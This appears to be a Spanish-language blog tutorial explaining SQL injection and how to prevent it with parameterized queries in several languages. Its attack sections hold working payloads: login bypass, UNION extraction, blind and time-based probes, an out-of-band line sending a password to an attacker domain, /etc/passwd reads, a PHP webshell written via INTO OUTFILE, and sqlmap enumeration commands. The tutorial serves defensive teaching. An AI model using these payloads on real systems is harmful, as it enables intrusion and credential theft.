La inyección SQL lleva décadas en el número uno de los rankings de vulnerabilidades web. Es el tipo de ataque que ha comprometido millones de registros de usuarios en empresas de todos los tamaños, desde startups hasta grandes corporaciones. Y lo más llamativo es que prevenirla es relativamente sencillo: se reduce a seguir unas pocas prácticas concretas al escribir código.
En esta guía vas a entender exactamente cómo funciona una inyección SQL, cómo piensa un atacante al explotar esta vulnerabilidad, y las técnicas específicas para prevenirla en Python, PHP, Java y Node.js.
Cómo funciona una inyección SQL
El problema raíz es siempre el mismo: la aplicación construye una consulta SQL mezclando código SQL fijo con datos que provienen del usuario, sin separarlos ni sanitizarlos. El motor de base de datos recibe la cadena resultante y no puede distinguir qué parte es código legítimo y qué parte son datos del usuario. Ejecuta todo como si fuera código.
Imagina un formulario de login típico. El backend recibe el email y la contraseña, y construye esta consulta:
-- Lo que el desarrollador tenía en mente
SELECT * FROM usuarios WHERE email = 'usuario@mail.com' AND password = 'mi_password';
-- El código que genera esa consulta (Python como ejemplo)
query = "SELECT * FROM usuarios WHERE email = '" + email + "' AND password = '" + password + "'"Si el usuario escribe datos normales, la consulta funciona como se espera. Pero si el usuario escribe esto como contraseña:
' OR '1'='1La consulta generada se convierte en:
SELECT * FROM usuarios WHERE email = 'cualquier@mail.com' AND password = '' OR '1'='1'
La condición '1'='1' es siempre verdadera, por lo que la cláusula WHERE se cumple para todas las filas. El atacante entra como el primer usuario de la base de datos, que suele ser el administrador, sin conocer ninguna contraseña real.
Tipos de inyección SQL
Inyección clásica (In-band)
El resultado del ataque se devuelve directamente en la respuesta de la aplicación. Es el tipo más fácil de explotar y el más habitual.
-- Consulta vulnerable: buscar un producto por ID
-- URL: /productos?id=1
SELECT nombre, precio FROM productos WHERE id = 1;
-- El atacante cambia la URL a: /productos?id=1 UNION SELECT email, password FROM usuarios--
SELECT nombre, precio FROM productos WHERE id = 1
UNION SELECT email, password FROM usuarios--;
-- La respuesta de la aplicación devuelve los emails y contraseñas de todos los usuarios
-- mezclados con los datos de productos
El operador UNION permite añadir filas de cualquier tabla al resultado. El atacante solo necesita que ambas consultas devuelvan el mismo número de columnas con tipos compatibles. Los dos guiones (--) comentan el resto de la consulta original para evitar errores de sintaxis.
Inyección a ciegas (Blind SQL Injection)
La aplicación no devuelve los datos directamente, pero el atacante puede inferir información observando diferencias en el comportamiento de la aplicación. Se divide en dos variantes:
Basada en booleanos: el atacante hace preguntas de sí o no observando si la aplicación responde de forma diferente (página con contenido vs página vacía).
-- ¿El primer carácter de la contraseña del admin es 'a'?
-- URL: /usuarios?id=1 AND SUBSTRING(password,1,1)='a'
-- Si la página muestra el usuario normalmente → el primer carácter ES 'a'
-- Si la página está vacía o da error → el primer carácter NO es 'a'
-- El atacante repite esto para cada carácter, reconstruyendo la contraseña bit a bit
-- Con una herramienta automatizada como sqlmap esto tarda segundos
Basada en tiempo: el atacante inyecta funciones que introducen un retraso y mide el tiempo de respuesta.
-- Si la base de datos es MySQL y el usuario actual es 'root', espera 5 segundos
-- URL: /productos?id=1 AND IF(USER()='root', SLEEP(5), 0)--
-- Si la respuesta tarda ~5 segundos → el usuario de la BD es 'root'
-- Si la respuesta es inmediata → no lo es
-- En PostgreSQL la función equivalente es: pg_sleep(5)
-- En SQL Server: WAITFOR DELAY '0:0:5'
Inyección fuera de banda (Out-of-band)
El atacante extrae datos haciendo que el servidor de base de datos envíe los resultados a un servidor externo bajo su control, usando funciones del propio motor como DNS lookups o peticiones HTTP.
-- MySQL: cargar el resultado de una consulta en un archivo accesible por HTTP
-- o en algunos motores hacer que el servidor resuelva un nombre de dominio controlado por el atacante
-- Solo funciona si el usuario de la BD tiene permisos elevados
-- y si el firewall lo permite, pero en configuraciones mal aseguradas es efectivo
SELECT LOAD_FILE(CONCAT('\\\\', (SELECT password FROM usuarios LIMIT 1), '.atacante.com\\x'))
Lo que un atacante puede hacer con acceso SQL
Entender el impacto real ayuda a comprender por qué esta vulnerabilidad es tan grave. Con acceso SQL sin restricciones, un atacante puede:
- Extraer todos los datos: emails, contraseñas hasheadas, datos de tarjetas, información personal, tokens de sesión, todo lo que esté en la base de datos.
- Modificar datos: cambiar contraseñas, transferir saldo entre cuentas, modificar precios de productos, escalar sus propios privilegios a administrador.
- Eliminar datos: borrar tablas enteras o registros específicos, lo que puede destruir completamente el negocio si no hay backups.
- Escalar a ejecución de código: en configuraciones con permisos elevados, algunos motores permiten leer y escribir archivos del sistema operativo, lo que puede llevar a ejecución de código remoto en el servidor.
-- Con privilegios FILE en MySQL, un atacante puede leer archivos del servidor
SELECT LOAD_FILE('/etc/passwd');
-- O escribir un webshell PHP si el directorio web tiene permisos de escritura
SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php';
-- Con el webshell activo, el atacante ejecuta comandos del sistema operativo:
-- http://victima.com/shell.php?cmd=id
-- http://victima.com/shell.php?cmd=cat /etc/shadow
Cómo piensa un atacante: el proceso de explotación
Antes de ver las defensas, conviene entender el proceso que sigue un atacante para identificar y explotar una inyección SQL. Conocerlo te ayuda a pensar como defensor.
1. Detección: el atacante busca puntos de entrada donde la aplicación use datos del usuario en consultas SQL. Cualquier parámetro de URL, campo de formulario, cabecera HTTP o cookie es candidato. Empieza añadiendo una comilla simple ' y observa si la aplicación devuelve un error de SQL, que confirma que el input llega sin sanitizar a la base de datos.
-- Señales de que hay una inyección SQL:
-- URL: /productos?id=1'
-- Respuesta: "You have an error in your SQL syntax near ''' at line 1"
-- O cualquier error que mencione SQL, MySQL, PostgreSQL, ORA-, etc.
-- El error es tan revelador que lo primero que debe hacer un dev es ocultarlo:
-- Nunca mostrar errores de base de datos en producción
2. Reconocimiento: determinar el motor de base de datos, el número de columnas de la consulta y los tipos de datos.
-- Determinar número de columnas con ORDER BY
-- /productos?id=1 ORDER BY 1-- → sin error
-- /productos?id=1 ORDER BY 2-- → sin error
-- /productos?id=1 ORDER BY 3-- → ERROR: el resultado solo tiene 2 columnas
-- Ahora puede usar UNION con 2 columnas
-- /productos?id=0 UNION SELECT 1,2--
-- Si en la respuesta aparece "1" o "2", sabe en qué posición colocar los datos robados
3. Extracción: con el número de columnas conocido, usa UNION para extraer datos de otras tablas.
-- Listar todas las tablas de la base de datos (MySQL)
-- /productos?id=0 UNION SELECT table_name, table_schema FROM information_schema.tables--
-- Listar las columnas de la tabla usuarios
-- /productos?id=0 UNION SELECT column_name, data_type FROM information_schema.columns WHERE table_name='usuarios'--
-- Extraer emails y contraseñas
-- /productos?id=0 UNION SELECT email, password FROM usuarios--
4. Automatización: en la práctica, los atacantes usan herramientas como sqlmap que automatizan todo el proceso en segundos, incluyendo detección, enumeración de bases de datos, tablas, columnas y extracción de datos.
Prevención: consultas parametrizadas
La solución definitiva a la inyección SQL es separar el código SQL de los datos. Las consultas parametrizadas (también llamadas prepared statements o sentencias preparadas) hacen exactamente eso: el código SQL se envía al motor de base de datos primero, y los datos del usuario se envían después, como parámetros independientes. El motor nunca interpreta los datos como código SQL.
Python con sqlite3 y psycopg2
import sqlite3
import psycopg2
# ❌ VULNERABLE: concatenación directa
def login_vulnerable(email, password):
conn = sqlite3.connect('app.db')
query = "SELECT * FROM usuarios WHERE email = '" + email + "' AND password = '" + password + "'"
return conn.execute(query).fetchone()
# ✅ SEGURO: consulta parametrizada con placeholder ?
def login_seguro_sqlite(email, password_hash):
conn = sqlite3.connect('app.db')
query = "SELECT * FROM usuarios WHERE email = ? AND password_hash = ?"
return conn.execute(query, (email, password_hash)).fetchone()
# El driver escapa automáticamente cualquier carácter especial en los parámetros
# ✅ SEGURO: con PostgreSQL/psycopg2 usando %s como placeholder
def login_seguro_postgres(email, password_hash):
conn = psycopg2.connect(DATABASE_URL)
cur = conn.cursor()
cur.execute(
"SELECT id, nombre FROM usuarios WHERE email = %s AND password_hash = %s",
(email, password_hash) # los datos van SIEMPRE como segundo argumento, nunca en el string
)
return cur.fetchone()
# ✅ SEGURO: con SQLAlchemy Core (placeholders nombrados)
from sqlalchemy import text, create_engine
engine = create_engine(DATABASE_URL)
def buscar_productos(categoria, precio_max):
with engine.connect() as conn:
resultado = conn.execute(
text("SELECT * FROM productos WHERE categoria = :cat AND precio <= :precio"),
{"cat": categoria, "precio": precio_max}
)
return resultado.fetchall()
# ✅ SEGURO: con SQLAlchemy ORM (nunca construye SQL manualmente)
from sqlalchemy.orm import Session
def buscar_usuario_orm(session: Session, email: str):
return session.query(Usuario).filter(
Usuario.email == email,
Usuario.activo == True
).first()
PHP con PDO y MySQLi
<?php
// ❌ VULNERABLE: consulta directa con datos del usuario
function loginVulnerable($email, $password) {
$conn = new mysqli("localhost", "root", "", "app_db");
$query = "SELECT * FROM usuarios WHERE email = '$email' AND password = '$password'";
return $conn->query($query)->fetch_assoc();
}
// ✅ SEGURO: PDO con prepared statements (recomendado en PHP moderno)
function loginSeguroPDO($email, $passwordHash) {
$pdo = new PDO("mysql:host=localhost;dbname=app_db", "usuario", "password", [
PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC,
PDO::ATTR_EMULATE_PREPARES => false, // usar prepared statements reales del servidor
]);
$stmt = $pdo->prepare("SELECT id, nombre FROM usuarios WHERE email = ? AND password_hash = ?");
$stmt->execute([$email, $passwordHash]);
return $stmt->fetch();
}
// ✅ SEGURO: MySQLi con bind_param
function loginSeguroMySQLi($email, $passwordHash) {
$conn = new mysqli("localhost", "usuario", "password", "app_db");
$stmt = $conn->prepare("SELECT id, nombre FROM usuarios WHERE email = ? AND password_hash = ?");
$stmt->bind_param("ss", $email, $passwordHash); // "ss" = dos parámetros de tipo string
$stmt->execute();
$result = $stmt->get_result();
return $result->fetch_assoc();
}
// ✅ SEGURO con Laravel (ORM Eloquent - nunca toca SQL directamente)
$usuario = Usuario::where('email', $email)
->where('activo', true)
->first();
// ✅ SEGURO con Laravel (Query Builder - también parametrizado automáticamente)
$productos = DB::table('productos')
->where('categoria', $categoria)
->where('precio', '<=', $precioMax)
->get();
?>
Java con JDBC y JPA
import java.sql.*;
// ❌ VULNERABLE: Statement con concatenación
public Usuario loginVulnerable(String email, String password) throws SQLException {
String query = "SELECT * FROM usuarios WHERE email = '" + email + "' AND password = '" + password + "'";
Statement stmt = connection.createStatement();
ResultSet rs = stmt.executeQuery(query);
// ...
}
// ✅ SEGURO: PreparedStatement
public Usuario loginSeguro(String email, String passwordHash) throws SQLException {
String query = "SELECT id, nombre FROM usuarios WHERE email = ? AND password_hash = ?";
try (PreparedStatement pstmt = connection.prepareStatement(query)) {
pstmt.setString(1, email); // índice 1: primer ?
pstmt.setString(2, passwordHash); // índice 2: segundo ?
try (ResultSet rs = pstmt.executeQuery()) {
if (rs.next()) {
return new Usuario(rs.getLong("id"), rs.getString("nombre"));
}
}
}
return null;
}
// ✅ SEGURO con JPA/Hibernate (Named Parameters)
import jakarta.persistence.*;
public Usuario buscarPorEmail(EntityManager em, String email) {
TypedQuery<Usuario> query = em.createQuery(
"SELECT u FROM Usuario u WHERE u.email = :email AND u.activo = true",
Usuario.class
);
query.setParameter("email", email);
return query.getSingleResult();
}
// ✅ SEGURO con Spring Data JPA (el repositorio genera el SQL automáticamente)
public interface UsuarioRepository extends JpaRepository<Usuario, Long> {
Optional<Usuario> findByEmailAndActivoTrue(String email);
@Query("SELECT u FROM Usuario u WHERE u.ciudad = :ciudad AND u.plan = :plan")
List<Usuario> findByCiudadYPlan(@Param("ciudad") String ciudad, @Param("plan") String plan);
}
Node.js con pg, mysql2 y Prisma
// ❌ VULNERABLE: template literal con datos del usuario
const loginVulnerable = async (email, password) => {
const query = `SELECT * FROM usuarios WHERE email = '${email}' AND password = '${password}'`;
const result = await pool.query(query);
return result.rows[0];
};
// ✅ SEGURO: con node-postgres (pg) usando placeholders $1, $2
const loginSeguroPG = async (email, passwordHash) => {
const query = 'SELECT id, nombre FROM usuarios WHERE email = $1 AND password_hash = $2';
const result = await pool.query(query, [email, passwordHash]);
return result.rows[0];
};
// ✅ SEGURO: con mysql2 usando placeholders ?
const loginSeguroMySQL = async (email, passwordHash) => {
const [rows] = await pool.execute(
'SELECT id, nombre FROM usuarios WHERE email = ? AND password_hash = ?',
[email, passwordHash] // el driver escapa automáticamente los valores
);
return rows[0];
};
// ✅ SEGURO con Prisma ORM (jamás escribe SQL con datos del usuario)
import { PrismaClient } from '@prisma/client';
const prisma = new PrismaClient();
const loginSeguroPrisma = async (email) => {
return prisma.usuario.findUnique({
where: { email: email }
});
};
const buscarProductos = async (categoria, precioMax) => {
return prisma.producto.findMany({
where: {
categoria: categoria,
precio: { lte: precioMax },
disponible: true
},
orderBy: { precio: 'asc' }
});
};
El caso especial: columnas y tablas dinámicas
Las consultas parametrizadas solo funcionan para valores de datos, no para nombres de columnas, nombres de tablas u otras partes de la estructura SQL. Si necesitas construir consultas con nombres de columna o tabla dinámicos, la única opción segura es una lista blanca.
# ❌ VULNERABLE: nombre de columna dinámico sin validar
def ordenar_productos(columna_orden):
query = f"SELECT * FROM productos ORDER BY {columna_orden}"
# Si columna_orden = "precio; DROP TABLE productos;--" → desastre
# ❌ TAMPOCO FUNCIONA: los parámetros no pueden ser nombres de columna
# "SELECT * FROM productos ORDER BY ?" con columna_orden como parámetro
# El driver lo trataría como un valor string, no como un nombre de columna
# ✅ SEGURO: lista blanca de columnas permitidas
COLUMNAS_ORDEN_PERMITIDAS = {'nombre', 'precio', 'fecha_creacion', 'stock'}
DIRECCIONES_PERMITIDAS = {'ASC', 'DESC'}
def ordenar_productos(columna_orden, direccion='ASC'):
if columna_orden not in COLUMNAS_ORDEN_PERMITIDAS:
raise ValueError(f"Columna de orden no permitida: {columna_orden}")
if direccion.upper() not in DIRECCIONES_PERMITIDAS:
direccion = 'ASC'
# Ahora es seguro incluirlos en el SQL porque sabemos que son valores válidos
query = f"SELECT * FROM productos ORDER BY {columna_orden} {direccion.upper()}"
return db.execute(query).fetchall()
# ✅ Alternativa: mapear nombres externos a columnas internas
MAPA_COLUMNAS = {
'nombre': 'p.nombre',
'precio': 'p.precio',
'mas_nuevo': 'p.fecha_creacion DESC',
'popularidad': 'ventas_totales DESC'
}
def buscar_productos(orden='nombre'):
columna_sql = MAPA_COLUMNAS.get(orden, 'p.nombre') # valor por defecto seguro
query = f"SELECT * FROM productos p ORDER BY {columna_sql}"
return db.execute(query).fetchall()
Defensa en profundidad: más allá de las consultas parametrizadas
Las consultas parametrizadas son la defensa principal, pero una estrategia de seguridad robusta añade capas adicionales.
Principio de mínimo privilegio en la base de datos
-- El usuario de la aplicación NO debe tener permisos de administrador
-- Crear un usuario con solo los permisos que necesita
-- MySQL
CREATE USER 'app_user'@'localhost' IDENTIFIED BY 'password_segura';
-- Solo permisos de lectura y escritura en las tablas necesarias
GRANT SELECT, INSERT, UPDATE ON app_db.usuarios TO 'app_user'@'localhost';
GRANT SELECT, INSERT, UPDATE, DELETE ON app_db.pedidos TO 'app_user'@'localhost';
GRANT SELECT ON app_db.productos TO 'app_user'@'localhost';
-- Nunca conceder estos permisos al usuario de la aplicación:
-- GRANT ALL PRIVILEGES
-- GRANT FILE (leer/escribir archivos del sistema)
-- GRANT SUPER (cambiar configuración del servidor)
-- GRANT DROP (eliminar tablas)
FLUSH PRIVILEGES;
-- PostgreSQL: mismo principio
CREATE USER app_user WITH PASSWORD 'password_segura';
GRANT CONNECT ON DATABASE app_db TO app_user;
GRANT SELECT, INSERT, UPDATE ON ALL TABLES IN SCHEMA public TO app_user;
REVOKE DELETE ON usuarios FROM app_user; -- quitar permisos que no necesita
Validación de entrada como capa adicional
import re
from typing import Optional
def validar_email(email: str) -> bool:
"""Validación básica de formato de email antes de usarlo en cualquier consulta"""
patron = r'^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}$'
return bool(re.match(patron, email)) and len(email) <= 254
def validar_id(valor: str) -> Optional[int]:
"""Convierte a entero o devuelve None si no es un ID válido"""
try:
id_int = int(valor)
if id_int > 0:
return id_int
except (ValueError, TypeError):
pass
return None
# Uso en el controlador
@app.route('/usuarios/')
def obtener_usuario(usuario_id):
id_validado = validar_id(usuario_id)
if not id_validado:
abort(400, description="ID inválido")
# Aunque el ID ya está validado como entero, seguir usando consulta parametrizada
usuario = db.execute("SELECT * FROM usuarios WHERE id = ?", (id_validado,)).fetchone()
# ...
Web Application Firewall (WAF)
Un WAF analiza el tráfico HTTP en busca de patrones conocidos de inyección SQL y los bloquea antes de que lleguen a la aplicación. No es un sustituto de las consultas parametrizadas, es una capa adicional que puede detener ataques automatizados.
Para proyectos en producción, servicios como Cloudflare WAF, AWS WAF o ModSecurity (open source) ofrecen reglas específicas contra SQL injection que se actualizan continuamente.
Ocultar información en los errores
# ❌ VULNERABLE: revelar errores de base de datos al usuario
@app.route('/productos')
def listar_productos():
try:
productos = db.execute("SELECT * FROM productos").fetchall()
return jsonify(productos)
except Exception as e:
return jsonify({'error': str(e)}), 500
# Devuelve algo como: "no such table: productos" o errores de sintaxis SQL
# ✅ SEGURO: log interno, mensaje genérico al usuario
import logging
logger = logging.getLogger(__name__)
@app.route('/productos')
def listar_productos():
try:
productos = db.execute("SELECT * FROM productos").fetchall()
return jsonify(productos)
except Exception as e:
logger.error(f"Error de base de datos: {e}", exc_info=True) # solo en logs internos
return jsonify({'error': 'Error interno del servidor'}), 500
Detectar si tu aplicación es vulnerable
Antes de que lo haga un atacante, puedes buscar vulnerabilidades en tu propia aplicación con herramientas de análisis.
# sqlmap: la herramienta de referencia para detectar y explotar SQL injection
# Úsala SOLO en aplicaciones propias o con permiso explícito por escrito
# Análisis básico de un endpoint
sqlmap -u "https://tu-app.com/productos?id=1" --batch
# Análisis con autenticación por cookie de sesión
sqlmap -u "https://tu-app.com/api/pedidos?estado=completado" \
--cookie="session=tu_token_de_sesion" \
--batch \
--level=2
# Si encuentra vulnerabilidad, listar bases de datos
sqlmap -u "URL_VULNERABLE" --dbs
# Listar tablas de una base de datos específica
sqlmap -u "URL_VULNERABLE" -D nombre_db --tables
# Análisis estático de código para detectar patrones vulnerables
# Bandit (Python): detecta concatenación de strings en queries
pip install bandit
bandit -r ./src -t B608 # B608 es la regla específica para SQL injection
# Semgrep: reglas de seguridad más avanzadas para múltiples lenguajes
semgrep --config=p/sql-injection .
Checklist de prevención
- Todas las consultas a la base de datos usan consultas parametrizadas o un ORM. No hay ninguna concatenación de strings con datos del usuario en código SQL.
- El usuario de base de datos de la aplicación tiene solo los permisos mínimos necesarios: ni
DROP, niFILE, niCREATE. - Los nombres de columnas y tablas dinámicos se validan contra listas blancas explícitas.
- Los errores de base de datos no se devuelven al usuario: se registran internamente y se muestra un mensaje genérico.
- La entrada del usuario se valida en tipo y formato antes de usarla, como capa adicional.
- Se realizan auditorías de seguridad periódicas con herramientas como Bandit, Semgrep o sqlmap en entornos de staging.
- El equipo de desarrollo conoce y aplica estas prácticas en las code reviews.
Resumen
La inyección SQL ocurre cuando los datos del usuario se mezclan con código SQL sin separación. El motor de base de datos los interpreta como código y ejecuta lo que el atacante haya inyectado. Las consecuencias van desde la extracción de todos los datos hasta la destrucción completa de la base de datos o la ejecución de código en el servidor.
La solución es clara y no negociable: usa siempre consultas parametrizadas o un ORM. Nunca construyas consultas SQL concatenando strings con datos del usuario. Combina eso con el principio de mínimo privilegio en la base de datos, validación de entrada como capa adicional y mensajes de error genéricos en producción, y habrás eliminado este riesgo de tu aplicación.
No hay comentarios todavía. Sé el primero en compartir tu opinión.